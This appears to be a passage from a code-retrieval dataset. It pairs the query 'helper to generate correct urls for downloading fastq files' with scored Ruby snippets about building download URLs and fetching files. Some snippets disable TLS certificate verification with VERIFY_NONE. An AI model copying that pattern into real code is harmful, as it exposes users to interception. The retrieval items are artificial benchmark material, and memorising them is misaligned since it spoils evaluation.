left\n\t\timg.rotate!(-90)\n\t\timg.write(filepath)\n\tend\t\nend", "title": "" }, { "docid": "fef29f5f1ef35706678422eadc086040", "score": "0.5651363", "text": "def rotate\n new_contents = (0...$TILE_SIZE).map do |i|\n ((0...$TILE_SIZE).map do |j|\n @contents[j].chars[$TILE_SIZE - 1 - i]\n end).join\n end\n Tile.new(@tile_id, new_contents)\n end", "title": "" }, { "docid": "fc6cb3cf3542f6eb2c9f3aace31c5858", "score": "0.5632594", "text": "def rotate_to(options={}, more_options={}, &after)\n if options.is_a? Numeric\n new_angle = options\n options = more_options\n else\n new_angle = options[:angle]\n end\n\n options[:after] = after\n\n animate(options) do\n self.transform = CGAffineTransformMakeRotation(new_angle)\n end\n end", "title": "" }, { "docid": "195d55f26ec7e60c6f9cfa8c1019d887", "score": "0.56290346", "text": "def rotate_image_left!(albid, imgid)\n img = image(albid, imgid)\n IMagick.rotate_left(_(img[:path]))\n IMagick.rotate_left(_(img[:thumb]))\n true\n end", "title": "" } ]
ac7cb1ca690dbe16729af7c482720967
helper to generate correct urls for downloading fastq files
[ { "docid": "8e560501a799cab8c849b7bcdc4bb6f3", "score": "0.0", "text": "def download_path(file)\n\t\tif self.study.public?\n\t\t\tdownload_file_path(self.study.url_safe_name, filename: file)\n\t\telse\n\t\t\tdownload_private_file_path(self.study.url_safe_name, filename: file)\n\t\tend\n\tend", "title": "" } ]
[ { "docid": "3dd654e77ab77967a4e5f37a4aa6961d", "score": "0.6342509", "text": "def file_set_url(file_set_id)\n \"https://#{ENV['SERVER_NAME']}/downloads/#{file_set_id}\"\n end", "title": "" }, { "docid": "83c951cf5bf68f2e8210a48eeabd0a5d", "score": "0.63346654", "text": "def make_url\n # This works for most of the twitter calls\n \"http://ws.audioscrobbler.com/2.0/?method=#{resource_path}&artist=#{identifier}&limit=100&page=#{page}&api_key=#{api_key}&format=json\"\n end", "title": "" }, { "docid": "c982bc0a56c88e4f2422a9cf289de9e2", "score": "0.62940824", "text": "def b2_generate_file_url(file, *folder)\n\n subdir = \"#{folder[0]}/\" if folder[0] != nil\n\n return \"#{ENV['download_url']}#{subdir}#{file}\"\n\nend", "title": "" }, { "docid": "74b346013ba348aa4976bce4b6556092", "score": "0.6212129", "text": "def download_path\n if self.upload_file_name.nil?\n self.human_fastq_url\n else\n if self.study.public?\n download_file_path(self.study.url_safe_name, filename: self.bucket_location)\n else\n download_private_file_path(self.study.url_safe_name, filename: self.bucket_location)\n end\n end\n end", "title": "" }, { "docid": "613de42843c99a74e4c0e710009add5f", "score": "0.61888075", "text": "def odt_download_url(document)\n return [\"/\",self.class.to_s.downcase.pluralize,\"/download_odt/\",id.to_s,'?h=',rand.to_s,'&document=',document].join\n end", "title": "" }, { "docid": "9d24de7336601a7320e6d38d6fc8a913", "score": "0.6187513", "text": "def get_urls()\n generate_thread(@@source_url)\n end", "title": "" }, { "docid": "1b54861b8b52afeae3005263556ebba8", "score": "0.6104216", "text": "def download!(source_url, destination_file); end", "title": "" }, { "docid": "bbec5e1ac3e73edcc4fc4b0b7cbc031c", "score": "0.6089895", "text": "def build_url(base_url, queue_name)\n return \"#{base_url}/#{queue_name}\"\n end", "title": "" }, { "docid": "25b0c1739db41b682693e2ac15f35a9c", "score": "0.60861385", "text": "def make_url\n [ \"http://ws.audioscrobbler.com/2.0/?method=#{api_method}#{identifier}\",\n \"&limit=#{max_items}&api_key=#{api_key}&format=json\",\n \"&page=#{page}\" ].join(\"\")\n end", "title": "" }, { "docid": "1dc5dce5762171630eab43f199b0c712", "score": "0.60091466", "text": "def archive_download_url\n raise \"Not implemented yet!\"\n end", "title": "" }, { "docid": "b5f41bc0d967ac037f58d05d104c6c25", "score": "0.59601665", "text": "def get_download\n\tend", "title": "" }, { "docid": "04f4ae1b74836e3ce96c532d519aeea2", "score": "0.589378", "text": "def url\n @client.get_download_link(@path)\n end", "title": "" }, { "docid": "b183be1eca2cf9f9b2c4cd5fa2629194", "score": "0.588914", "text": "def download_link\n download_params = { :sub => 'download', :fileid => @fileid, :filename => @remote_filename, :cookie => @api.cookie }\n DOWNLOAD_URL % [ @server_id, @short_host, download_params.to_query ]\n end", "title": "" }, { "docid": "4fd0ef7e339ca0f0230dcb8cc3f9a376", "score": "0.5877755", "text": "def url(expires = nil)\n raise MissingFileMapping.new(\"Identifier: #{options['identifier']}\") if mapping.blank?\n raise NodesMissing.new if mapping.nodes.blank?\n\n debug \"URLs are beeing generated.\"\n\n @urls = []\n self.nodes.each do |node|\n @urls << self.connection.url(node, self.access_level, self.path)\n end\n\n debug \"URLS: #{@urls.inspect}\"\n\n return @urls.shuffle.first # randomize url for load-balancing\n end", "title": "" }, { "docid": "8616c717edf700586cb697ac2f23cbb5", "score": "0.5865939", "text": "def download(f)\n result = \"\"\n prefix = \"dat/\"\n file_names = \"name.dat.txt\"\n file_surna = \"surnames.dat.txt\" \n file_words = \"words.dat.txt\"\n http_names_m = \"http://www.census.gov/genealogy/names/dist.male.first\"\n http_names_f = \"http://www.census.gov/genealogy/names/dist.female.first\"\n http_surnames = \"http://www.census.gov/genealogy/names/dist.all.last\"\n http_words = \"http://www.mieliestronk.com/corncob_lowercase.zip\"\n\n case f\n when 'names'\n print \"Downloading names ... [BUSY]\"\n nm_uri = URI.parse(http_names_m)\n nf_uri = URI.parse(http_names_f)\n (open(nm_uri).read + open(nf_uri).read).each_line {|m|\n result += m.split(/\\s+/)[0].capitalize + \"\\n\"\n }\n File.open(prefix + file_names, \"w\").write( result )\n print \"\\b\\b\\b\\b\\b\\b[DONE]\\n\"\n when 'surnames'\n print \"Downloading surnames ... [BUSY]\"\n sr_uri = URI.parse(http_surnames)\n (open(sr_uri).read).each_line {|m|\n result += m.split(/\\s+/)[0].capitalize + \"\\n\"\n }\n File.open(prefix + file_surna, \"w\").write ( result )\n print \"\\b\\b\\b\\b\\b\\b[DONE]\\n\"\n when 'words'\n print \"Downloading words ... [BUSY]\"\n wr_uri = URI.parse(http_words)\n # Store the zipfile\n File.open(prefix + file_words, \"w\").write(wr_uri.read)\n unzip(prefix + file_words)\n print \"\\b\\b\\b\\b\\b\\b[DONE]\\n\"\n end\n end", "title": "" }, { "docid": "fe84cfcc7545b27e758b2453629a5aee", "score": "0.5862032", "text": "def generated_url; end", "title": "" }, { "docid": "89fdf3ac8e755bc26d974d329cf9df45", "score": "0.5856053", "text": "def url\n Rails.application.routes.url_helpers.nfs_store_download_path(id)\n end", "title": "" }, { "docid": "3743e764d6b49233a8358e63d52389a3", "score": "0.5852612", "text": "def download_url\n process_emulation 10\n clear_progress_bar\n self.downloaded_at = Time.now.utc\n save! && ready!\n end", "title": "" }, { "docid": "44314f82bea2d1c2417ce2bd1b60d8ba", "score": "0.58220524", "text": "def get_url\n\t\t@url = \"http://finance.yahoo.com/q?s=#{@big_symbol}\"\n\tend", "title": "" }, { "docid": "20eeedb26c5c5183bf4f11e41d0642fe", "score": "0.57948893", "text": "def get_file(url); end", "title": "" }, { "docid": "12986da2d172e154265e2470b26125a3", "score": "0.5769534", "text": "def download_urls(file_id, package_code, start_segment=1, end_segment=25)\n timestamp = Time.now.utc.strftime(\"%Y-%m-%dT%H:%M:%S+0000\")\n\n resp = Faraday.post(\"#{@sendsafely_url}/#{API}/package/#{@thread}/file/#{file_id}/download-urls/\") do |req|\n req.headers['Content-Type'] = 'application/json'\n req.headers['ss-api-key'] = @sendsafely_key_id\n req.headers['ss-request-timestamp'] = timestamp\n\n req.body = {\n # Use the following inputs for your PBKDF2 function:\n # Hashing Algorithm - SHA-256\n # Password - Use the keycode for this value\n # Salt - Use the Package Code for this value\n # Iteration Count - 1024\n # Key Length - 32 bytes\n # https://ruby-doc.org/stdlib-2.4.3/libdoc/openssl/rdoc/OpenSSL/KDF.html#method-c-pbkdf2_hmac\n # pbkdf2_hmac(pass, salt:, iterations:, length:, hash:)\n 'checksum' => OpenSSL::KDF.pbkdf2_hmac(@key_code, salt: package_code, iterations: 1024, length: 32, hash: 'SHA256').unpack('H*').first,\n 'startSegment' => start_segment,\n 'endSegment' => end_segment\n # NOTE: Up to 25 download URLS for each file can be obtained at once. You can use the startSegment parameter to tell the server which file part you would like as the starting point for each request. Note that each URL contains a time-stamped authentication token that is only valid for 60 minutes, so in general you should not obtain these URLs until you are ready to use them.\n }.to_json\n\n req.headers['ss-request-signature'] = OpenSSL::HMAC.hexdigest(\"SHA256\", @sendsafely_key_secret, @sendsafely_key_id+\"/#{API}/package/#{@thread}/file/#{file_id}/download-urls/\"+timestamp+req.body)\n end\n end", "title": "" }, { "docid": "bdf85c6d315505c3419245206e851a29", "score": "0.5767826", "text": "def download(url, download_to=File.expand_path(\".\")+File::SEPARATOR)\n $LOG.info \" Starting download of fillings from SEC url [\"+url+\"]\"\n files=[]\n content = open(url).read\n @links = Set.new\n uri=URI(url)\n @base_path=\"\"\n @base_path=(uri.scheme+\"://\"+uri.host+((uri.port==80 && \"\") || \":\"+uri.port.to_s)) unless uri.host.nil?\n parse(content)\n download_to += File::SEPARATOR unless download_to.end_with?(File::SEPARATOR)\n mkdir(download_to)\n @links.each do |link|\n file=download_to + link.split(\"/\")[-1]\n dump_to_file(file, open(link).read)\n files << file\n end unless uri.host.nil?\n files\n end", "title": "" }, { "docid": "23725643883acffa7f4f1f4dd0cc4cc8", "score": "0.5767602", "text": "def download_url(format='original')\n @download_urls[format] ||= begin\n response = API.instance.send_request('docs.getDownloadUrl', :doc_id => self.id, :doc_type => format)\n response.elements['/rsp/download_link'].cdatas.first.to_s\n end\n end", "title": "" }, { "docid": "23725643883acffa7f4f1f4dd0cc4cc8", "score": "0.5767602", "text": "def download_url(format='original')\n @download_urls[format] ||= begin\n response = API.instance.send_request('docs.getDownloadUrl', :doc_id => self.id, :doc_type => format)\n response.elements['/rsp/download_link'].cdatas.first.to_s\n end\n end", "title": "" }, { "docid": "ce87220ac61c39d9bacb5f3781a1c9d9", "score": "0.57602113", "text": "def python_hard_way_urls\n urls = ['http://learnpythonthehardway.org/book/intro.html']\n (0..52).each do |val|\n urls << 'http://learnpythonthehardway.org/book/ex' + val.to_s + '.html'\n end\n urls << 'http://learnpythonthehardway.org/book/next.html'\n urls << 'http://learnpythonthehardway.org/book/advice.html'\n urls\nend", "title": "" }, { "docid": "bad25fcb715953bdab4da7631d6004bf", "score": "0.5758026", "text": "def download_url(is_serverUrl=true)\n DocumentHelper.get_download_url(@file_name, is_serverUrl)\n end", "title": "" }, { "docid": "f7d086dfa441a8c5d0b2ea874ba5f6c1", "score": "0.57509583", "text": "def queue_urls\n @queue_urls ||= init_urls\n end", "title": "" }, { "docid": "fe5ee954ac9f4dfd287527c9f8a57d5a", "score": "0.57473445", "text": "def download_url(filename)\n url(response_content_disposition: %Q{attachment; filename=\"#{filename}\"})\n end", "title": "" }, { "docid": "ad90fecfad12a9b7e49ee4c6c9a31adb", "score": "0.5740738", "text": "def file_url(title, download: false)\n uri = URI.parse(\"#{stacks_url}/#{ERB::Util.url_encode(title)}\")\n uri.query = URI.encode_www_form(download: true) if download\n uri.to_s\n end", "title": "" }, { "docid": "9fd3a11dc3f97d765c45b6529aba2bfa", "score": "0.57378185", "text": "def download_path\n ::File.join(Chef::Config[:file_cache_path], ::File.basename(URL))\n end", "title": "" }, { "docid": "a2990e325bf85c5b0594a98fc6fdea90", "score": "0.57375866", "text": "def download(url)\n at = DateTime.strptime(url.split('/').last, '%Y%m%d')\n dir = Rails.root.join('lib', 'data', at.strftime('%Y%m%d'))\n\n FileUtils::mkdir_p dir\n\n start = DateTime.now\n total = (PREDICTION_MAX_HOURS/HOUR_RESOLUTION).ceil * PREDICTION_PERIODS.count\n\n # build the queue of datasets to download\n datasets = Queue.new\n number_completed = 0\n\n PREDICTION_PERIODS.each do |period|\n (0..PREDICTION_MAX_HOURS).step(HOUR_RESOLUTION).each do |hour_offset|\n datasets << \"#{url}gfs_4_#{at.strftime('%Y%m%d')}_#{period}_#{hour_offset.to_s.rjust(3, '0')}.grb2\"\n end\n end\n\n # make a pool to download them\n threads = [THREAD_POOL_SIZE, datasets.size].min\n workers = []\n\n threads.times do\n workers << Thread.new do\n begin\n while (file_url = datasets.pop(true)).present?\n download_file file_url, dir\n\n number_completed += 1\n\n if number_completed % (total / 10).to_i == 0\n percentage = (100*number_completed/total.to_f)\n elapsed = (DateTime.now - start).to_f * 1.day\n remaining = elapsed / (percentage / 100) - elapsed\n\n puts \"#{percentage.round(1).to_s.rjust(5)}% complete (#{elapsed.round(2)}s elapsed, #{remaining.round(2)}s remaining)\"\n end\n end\n rescue ThreadError\n end\n end\n end\n\n workers.map(&:join)\n\n # logs!\n elapsed = (DateTime.now - start).to_f * 1.day\n puts \"#{elapsed.round(2)}s to download #{url.split('/').last} (#{total} checked)\".green\n\n GribConvert::convert_folder dir, serial: true\n end", "title": "" }, { "docid": "1e0ca308d2cc3ee162de15a5f5b96e43", "score": "0.5737216", "text": "def make_retrieval_link(rid, base_url = nil)\n return if rid.blank?\n base_url = base_url[:base_url] if base_url.is_a?(Hash)\n base_url ||= Upload::BULK_BASE_URL\n # noinspection RubyMismatchedArgumentType\n File.join(base_url, 'download', rid).to_s\n end", "title": "" }, { "docid": "529d2597d37d860dc5edde26d2dea1f5", "score": "0.57310915", "text": "def download_job(uuid, out_fn, username, password)\n puts \"Downloading data from job #{uuid} to #{out_fn}\"\n fail \"Output file exists!\" if File.exist?(out_fn)\n\n job = get_job(uuid, username, password)\n puts \"Job info:\"\n puts summarise_job(job, 2)\n puts \"\"\n\n # Download stuff.\n puts \"Retrieving index...\"\n index = get_json(job['results']['dataURL'], username, password, '')\n\n num_files = index['urlCount']\n puts \"Retrieving #{num_files} files...\"\n \n i = 0\n File.open(out_fn, 'w') do |out|\n index['urlList'].each do |url|\n i += 1\n print \" #{i} / #{num_files} (#{((i.to_f / num_files.to_f) * 100.0).round(2)}%) \\r\"\n\n begin\n # RAW HTTP get request\n res = Net::HTTP.get(URI(url))\n zlibr = Zlib::GzipReader.new(StringIO.new(res.to_s))\n out.puts zlibr.read\n rescue StandardError => e\n print \"\\n*** ERR on file #{i}, URL: #{url}\\n\"\n end\n \n end # /url iteration\n end # /file handle\n\n print \"Done\\n\"\nend", "title": "" }, { "docid": "145d11e69bee705ba5ecfbb75c85eac1", "score": "0.57141685", "text": "def download links\n # Start downloading files in pool\n links.map do |file|\n next if Duplicate.downloaded? file\n downloader.perform do\n link = \"#{self.uri}/#{file}\"\n puts \"Worker thread #{Thread.current.object_id} is downloading #{file}. Wait\".colorize(:blue)\n # Create new agent for each worker\n browser = Mechanize.new\n browser.pluggable_parser.default = Mechanize::Download\n browser.get(link).save(\"./tmp/#{file}\")\n puts \"Done. #{file}\".colorize(:green)\n Duplicate.save! file # Don't redownload file\n self.enqueue(file)\n end\n end\n\n # Cool down\n downloader.dispose(10) do\n puts \"[Downloader] Worker thread #{Thread.current.object_id} is shutting down.\".colorize(:yellow)\n end\n end", "title": "" }, { "docid": "66a9aa7bce36ec88b027f47c7d5eb5ad", "score": "0.5696538", "text": "def file_url\n end", "title": "" }, { "docid": "1301ca1efca43d25208203ab0bef7e99", "score": "0.56806886", "text": "def download\n #TODO: add time frame for downloading at a specific time\n src_url = get_pdfs_webpage_urlstr ;\t# puts src_url\n \n pdf_urls = []\n begin\n open(src_url) {\n |page| page_content = page.read().force_encoding(\"ISO-8859-1\").encode(\"UTF-8\")\n doc = Nokogiri::HTML.parse(page_content) #HTree(page_content).to_rexml\n doc.xpath(\"//a\").map do |elem| #doc.root.each_element('//a') do |elem |\n #puts elem\n #a = elem.attribute(\"href\").value\n a = elem['href']\n #puts a\n if a =~ /.pdf$/\n pdf_urls << File.join(src_url.slice(0,src_url.rindex('/')),a)\n pdf_urls.uniq!\n end\n end\n }\n # p(pdf_urls)\n rescue => e\n puts \"#{src_url} failed to open! #{e}\"\n raise \"please check URL #{src_url}\"\n end\n \n ## should NOT be apparent to the user.\n urls_file = \"#{get_newspaper_sym}#{self.object_id}\"\t## same file not allowing the multithreading, ensure singularity.\n f = File.new(urls_file , \"w\") ; f.puts pdf_urls ; f.close\n repo = target_dir ;# puts repo\n system(\"wget -nv -i \" + urls_file +\" -P \" + repo)\t## download using wget tool\n File.delete urls_file if File.exists? urls_file\t## clean\n end", "title": "" }, { "docid": "0afe18cfd3189a64e9e927343b024102", "score": "0.56802684", "text": "def init_urls\n Hash[@@client.list_queues.queue_urls.map { |u| [u[(u.rindex(\"/\") + 1)..-1], u] }]\n end", "title": "" }, { "docid": "e8bf8ae7552f72475dd118324ec27ad5", "score": "0.56791335", "text": "def test_nonascii_suburls_download\n @wayback_machine_downloader = WaybackMachineDownloader.new(\n base_url: 'https://en.wikipedia.org/wiki/%C3%84')\n # Once just for the downloading...\n @wayback_machine_downloader.download_files\n end", "title": "" }, { "docid": "8d722e9075f3cae72d059ebbad7704d2", "score": "0.5676801", "text": "def raw_url(file_name)\n \"ftp://#{user}@#{host}#{folder}#{file_name}\"\n end", "title": "" }, { "docid": "7d7a281c0997c4cd7b110d47a8ac333e", "score": "0.56749177", "text": "def download_fct(target,\n url_to_download,\n count,\n total)\n Log.log_debug('Into download_fct (target=' + target +\n ') url_to_download=' + url_to_download +\n ' count=' + count.to_s +\n ' total=' + total.to_s)\n\n downloaded_filenames = {}\n unless %r{^(?<protocol>.*?)://(?<srv>.*?)/(?<dir>.*)/(?<name>.*)$} =~ url_to_download\n raise URLNotMatch \"link: #{url_to_download}\"\n end\n #\n common_efixes_dirname = get_flrtvc_name(:common_efixes)\n temp_dir = get_flrtvc_name(:temp_dir)\n tar_dir = get_flrtvc_name(:tar_dir)\n #\n if name.empty?\n #############################################\n # URL ends with /, look into that directory #\n #############################################\n case protocol\n when 'http', 'https'\n begin\n uri = URI(url_to_download)\n http = Net::HTTP.new(uri.host, uri.port)\n http.read_timeout = 10\n http.open_timeout = 10\n http.use_ssl = true if protocol.eql?('https')\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE if protocol.eql?('https')\n request = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(request)\n subcount = 0\n if response.is_a?(Net::HTTPResponse)\n b_download = 0\n response.body.each_line do |response_line|\n next unless response_line =~ %r{<a href=\"(.*?.epkg.Z)\">(.*?.epkg.Z)</a>}\n url_of_file_to_download = ::File.join(url_to_download, Regexp.last_match(1))\n local_path_of_file_to_download = \\\n ::File.join(common_efixes_dirname, Regexp.last_match(1))\n Log.log_debug('Consider downloading ' +\n url_of_file_to_download +\n ' into ' +\n common_efixes_dirname +\n ':' + count.to_s + '/' + total.to_s + ' fixes.')\n if !::File.exist?(local_path_of_file_to_download)\n # Download file\n Log.log_info('Downloading ' + url_of_file_to_download.to_s +\n ' into ' + common_efixes_dirname.to_s +\n ' and keeping into ' + local_path_of_file_to_download.to_s +\n ':' + count.to_s + '/' + total.to_s + ' fixes.')\n b_download = download(target,\n url_of_file_to_download,\n local_path_of_file_to_download,\n protocol)\n else\n Log.log_debug('Not downloading ' + url_of_file_to_download.to_s +\n ' : already into ' + local_path_of_file_to_download.to_s +\n ':' + count.to_s + '/' + total.to_s + ' fixes.')\n b_download = 0\n end\n downloaded_filenames[::File.basename(local_path_of_file_to_download)] = b_download\n subcount += 1\n end\n Log.log_debug('Into download_fct (target=' +\n target +\n ') http/https url_to_download=' +\n url_to_download +\n ', subcount=' +\n subcount.to_s)\n end\n rescue Timeout::Error => error\n Log.log_err(\"Timeout sending event to server: #{error}\")\n raise 'timeout error'\n end\n when 'ftp'\n #\n ftp_download_result = ftp_download(target,\n url_to_download,\n count,\n total,\n srv,\n dir,\n common_efixes_dirname)\n Log.log_debug('After download_fct name.empty ftp')\n downloaded_filenames.merge(ftp_download_result)\n else\n raise \"protocol must be either 'http', 'https', ftp'\"\n end\n elsif name.end_with?('.tar')\n #####################\n # URL is a tar file #\n #####################\n local_path_of_file_to_download = ::File.join(tar_dir, name)\n Log.log_debug('Consider downloading ' +\n url_to_download +\n ' into ' +\n tar_dir +\n \" : #{count}/#{total} fixes.\")\n if !::File.exist?(local_path_of_file_to_download)\n # download file\n Log.log_info(\"Downloading #{url_to_download} \\\ninto #{tar_dir}: #{count}/#{total} fixes.\")\n b_download = download(target,\n url_to_download,\n local_path_of_file_to_download,\n protocol)\n #\n if b_download == 1\n # We untar only if the tar file does not yet exist.\n # We consider that if tar file already exists,\n # then it has been already untarred.\n Log.log_debug(\"Untarring #{local_path_of_file_to_download} \\\ninto #{temp_dir} : #{count}/#{total} fixes.\")\n untarred_files = untar(local_path_of_file_to_download, temp_dir)\n # Log.log_debug(\"untarred_files = \" + untarred_files.to_s)\n #\n subcount = 1\n Log.log_debug('Copying ' + untarred_files.to_s + \\\n' into ' + common_efixes_dirname)\n untarred_files.each do |filename|\n # Log.log_debug(\" copying filename \" + filename\n # +\": #{count}.#{subcount}/#{total} fixes.\")\n FileUtils.cp(filename, common_efixes_dirname)\n downloaded_filenames[::File.basename(filename)] = b_download\n subcount += 1\n end\n elsif b_download == 0\n Log.log_debug(\"Not downloading #{url_to_download} : already \\\ninto #{tar_dir}: #{count}/#{total} fixes.\")\n tarfiles = tar_tf(local_path_of_file_to_download)\n tarfiles.each { |x| downloaded_filenames[::File.basename(x)] = 0 }\n else\n Log.log_err(\"Error while downloading #{url_to_download} \\\ninto #{tar_dir}: #{count}/#{total} fixes.\")\n downloaded_filenames[url_to_download] = -1\n end\n else\n Log.log_debug(\"Already downloaded : not downloading #{url_to_download} \\\ninto #{tar_dir}: #{count}/#{total} fixes.\")\n tarfiles = tar_tf(local_path_of_file_to_download)\n tarfiles.each { |x| downloaded_filenames[::File.basename(x)] = 0 }\n end\n elsif name.end_with?('.epkg.Z')\n #######################\n # URL is an efix file #\n #######################\n local_path_of_file_to_download =\n ::File.join(common_efixes_dirname, ::File.basename(name))\n Log.log_debug('Consider downloading ' +\n url_to_download +\n ' into ' +\n local_path_of_file_to_download +\n \" : #{count}/#{total} fixes.\")\n if !::File.exist?(local_path_of_file_to_download)\n # download file\n Log.log_info(\"Downloading #{url_to_download} \\\ninto #{local_path_of_file_to_download} : #{count}/#{total} fixes.\")\n b_download = download(target,\n url_to_download,\n local_path_of_file_to_download,\n protocol)\n else\n Log.log_debug(\"Not downloading #{url_to_download} : already into \\\n #{local_path_of_file_to_download} \\\n: #{count}/#{total} fixes.\")\n b_download = 0\n end\n downloaded_filenames[::File.basename(local_path_of_file_to_download)] = b_download\n end\n #\n Log.log_info('Into download_fct returning ' +\n downloaded_filenames.to_s)\n downloaded_filenames\n end", "title": "" }, { "docid": "c67bd32ba11b9d15502b04e1b32ac69a", "score": "0.56669205", "text": "def http_downloader\n http.timeout(30).max_size(Danbooru.config.max_file_size).use(:spoof_referrer).use(:unpolish_cloudflare)\n end", "title": "" }, { "docid": "58d68ecd6c2aa23ac9fcf802f9aa1a38", "score": "0.56617004", "text": "def download_strategy\n CurlDownloadStrategy\n end", "title": "" }, { "docid": "3c93a944518ba7923bec11024407aaaa", "score": "0.5661412", "text": "def url\n \"#{File.join(job.url, number.to_s)}/\"\n end", "title": "" }, { "docid": "eaef681a85dbd6662839d9abbcbf3baf", "score": "0.5653138", "text": "def generate_url(template); end", "title": "" }, { "docid": "8f4cdfdfa1c85d1523bc3e77b7c4a69b", "score": "0.56338096", "text": "def download_and_store(url, filename=\"#{SecureRandom.uuid}\")\n\n # https://ruby-doc.org/stdlib-1.9.3/libdoc/tempfile/rdoc/Tempfile.html\n file = Tempfile.new(filename) # use an array to enforce a format\n\n # set to write in binary mode (kinda weird api, but hey)\n file.binmode\n\n @task_result.logger.log_good \"Attempting to download #{url} and store in #{file.path}\" if @task_result\n\n begin\n\n uri = URI.parse(url)\n\n opts = {}\n if uri.instance_of? URI::HTTPS\n opts[:use_ssl] = true\n opts[:verify_mode] = OpenSSL::SSL::VERIFY_NONE\n end\n\n # TODO enable proxy\n http = Net::HTTP.start(uri.host, uri.port, nil, nil, opts) do |http|\n http.read_timeout = 15\n http.open_timeout = 15\n http.request_get(uri.path) do |resp|\n resp.read_body do |segment|\n file.write(segment)\n end\n end\n end\n\n rescue URI::InvalidURIError => e\n @task_result.logger.log_error \"Invalid URI? #{e}\" if @task_result\n return nil\n rescue URI::InvalidURIError => e\n #\n # XXX - This is an issue. We should catch this and ensure it's not\n # due to an underscore / other acceptable character in the URI\n # http://stackoverflow.com/questions/5208851/is-there-a-workaround-to-open-urls-containing-underscores-in-ruby\n #\n @task_result.logger.log_error \"Unable to request URI: #{uri} #{e}\" if @task_result\n return nil\n rescue OpenSSL::SSL::SSLError => e\n @task_result.logger.log_error \"SSL connect error : #{e}\" if @task_result\n return nil\n rescue Errno::ECONNREFUSED => e\n @task_result.logger.log_error \"Unable to connect: #{e}\" if @task_result\n return nil\n rescue Errno::ECONNRESET => e\n @task_result.logger.log_error \"Unable to connect: #{e}\" if @task_result\n return nil\n rescue Errno::ETIMEDOUT => e\n @task_result.logger.log_error \"Unable to connect: #{e}\" if @task_result\n return nil\n rescue Net::HTTPBadResponse => e\n @task_result.logger.log_error \"Unable to connect: #{e}\" if @task_result\n return nil\n rescue Zlib::BufError => e\n @task_result.logger.log_error \"Unable to connect: #{e}\" if @task_result\n return nil\n rescue Zlib::DataError => e # \"incorrect header check - may be specific to ruby 2.0\"\n @task_result.logger.log_error \"Unable to connect: #{e}\" if @task_result\n return nil\n rescue EOFError => e\n @task_result.logger.log_error \"Unable to connect: #{e}\" if @task_result\n return nil\n rescue SocketError => e\n @task_result.logger.log_error \"Unable to connect: #{e}\" if @task_result\n return nil\n rescue Encoding::InvalidByteSequenceError => e\n @task_result.logger.log_error \"Encoding error: #{e}\" if @task_result\n return nil\n rescue Encoding::UndefinedConversionError => e\n @task_result.logger.log_error \"Encoding error: #{e}\" if @task_result\n return nil\n rescue EOFError => e\n @task_result.logger.log_error \"Unexpected end of file, consider looking at this file manually: #{url}\" if @task_result\n return nil\n ensure\n file.flush\n file.close\n end\n\n file.path\n end", "title": "" }, { "docid": "1e4454fdb313d172d239dd213f46295f", "score": "0.563282", "text": "def build_url(url_suffix)\n return @base_url+url_suffix\nend", "title": "" }, { "docid": "da572a1711f3526082e9617d6aec09a1", "score": "0.56218535", "text": "def download\n track = tracks.joins(:library).where(:libraries => {:online => true}).first\n if track\n DownloadWorker.enqueue(:url => track.url, :song_id => self.id)\n else\n dequeue!\n end\n end", "title": "" }, { "docid": "e21a37233bf015c2c7b275ccbe7be092", "score": "0.5596638", "text": "def download_link\n \"http://#{self.registered_download.brand.default_website.url}/#{self.registered_download.url}/get_it/#{self.download_code}\"\n end", "title": "" }, { "docid": "9556551eb572e0ef887df7164d63e5ca", "score": "0.55817986", "text": "def download_command(src, name, folder_name, data)\n url = data[:url]\n if src.to_s == \"bandcamp_urls\"\n download_bandcamp_url(folder_name, url)\n elsif src.to_s == \"youtube_urls\"\n download_youtube_url(folder_name, url)\n end\n end", "title": "" }, { "docid": "9fb5372cb1f6cd15f8aea81ae450fd1f", "score": "0.5576547", "text": "def ftp_download(target,\n url_to_download,\n count,\n total,\n ftp_server,\n ftp_dir,\n destination_dir)\n Log.log_debug(' Into download (target=' + target +\n ') url_to_download=' + url_to_download +\n ' count=' + count.to_s +\n ' total=' + total.to_s +\n ' ftp_server=' + ftp_server +\n ' ftp_dir=' + ftp_dir +\n ' destination_dir=' + destination_dir)\n returned_downloaded_filenames = {}\n #\n Net::FTP.open(ftp_server) do |ftp|\n ftp.login\n ftp.read_timeout = 300\n ftp.chdir(ftp_dir)\n files_on_ftp_server = ftp.nlst('*.epkg.Z')\n subcount = 0\n #\n files_on_ftp_server.each do |file_on_ftp_server|\n fix_to_download = ::File.join(url_to_download,\n ::File.basename(file_on_ftp_server))\n #\n begin\n # download file\n local_path_of_file_to_download =\n ::File.join(destination_dir,\n ::File.basename(file_on_ftp_server))\n Log.log_debug(' Consider downloading ' +\n fix_to_download +\n ' into ' +\n local_path_of_file_to_download +\n \" : #{count}.#{subcount}/#{total} fixes.\")\n #\n if !::File.exist?(local_path_of_file_to_download)\n Log.log_debug(' downloading ' + fix_to_download +\n 'into ' +\n local_path_of_file_to_download +\n \" : #{count}.#{subcount}/#{total} fixes.\")\n #\n ftp.getbinaryfile(::File.basename(file_on_ftp_server),\n local_path_of_file_to_download)\n b_download = 1\n else\n Log.log_debug(' not downloading ' +\n fix_to_download +\n 'into ' +\n local_path_of_file_to_download +\n \" : #{count}.#{subcount}/#{total} fixes.\")\n b_download = 0\n end\n #\n subcount += 1\n #\n returned_downloaded_filenames[::File.basename(local_path_of_file_to_download)] = b_download\n rescue Errno::ENOSPC => e\n Log.log_err('Automatically increasing file system when ftp_downloading as\\\n Exception e=' + e.to_s)\n Flrtvc.increase_filesystem(destination_dir)\n return ftp_download(target,\n url_to_download,\n count,\n total,\n ftp_server,\n ftp_dir,\n destination_dir)\n rescue StandardError => e\n Log.log_err('Exception e=' + e.to_s)\n # Log.log_warning(\"Propagating exception of type '#{e.class}' when ftp_downloading!\")\n returned_downloaded_filenames[::File.basename(local_path_of_file_to_download)] = -1\n end\n end\n end\n Log.log_debug('returned_downloaded_filenames=' + returned_downloaded_filenames.to_s)\n returned_downloaded_filenames\n end", "title": "" }, { "docid": "f2be8ff91dcd9dfebdd5c362a6a34fc4", "score": "0.55760175", "text": "def download_slideshow\n Down.download bucket_url.url\n end", "title": "" }, { "docid": "075bc8acb73842986125c27a28bf2003", "score": "0.5575524", "text": "def build_retrieve_url(args)\n url_type = args[type]\n url_device_id = args[device_id]\n url_sensor_type = args[sensot_type]\n url_retrieve_type = args[retrieve_type]\n\n complete_url = \"/data/#{url_type}/#{url_device_id}/#{url_sensor_type}/#{url_retrieve_type}\"\n\n return complete_url\n end", "title": "" }, { "docid": 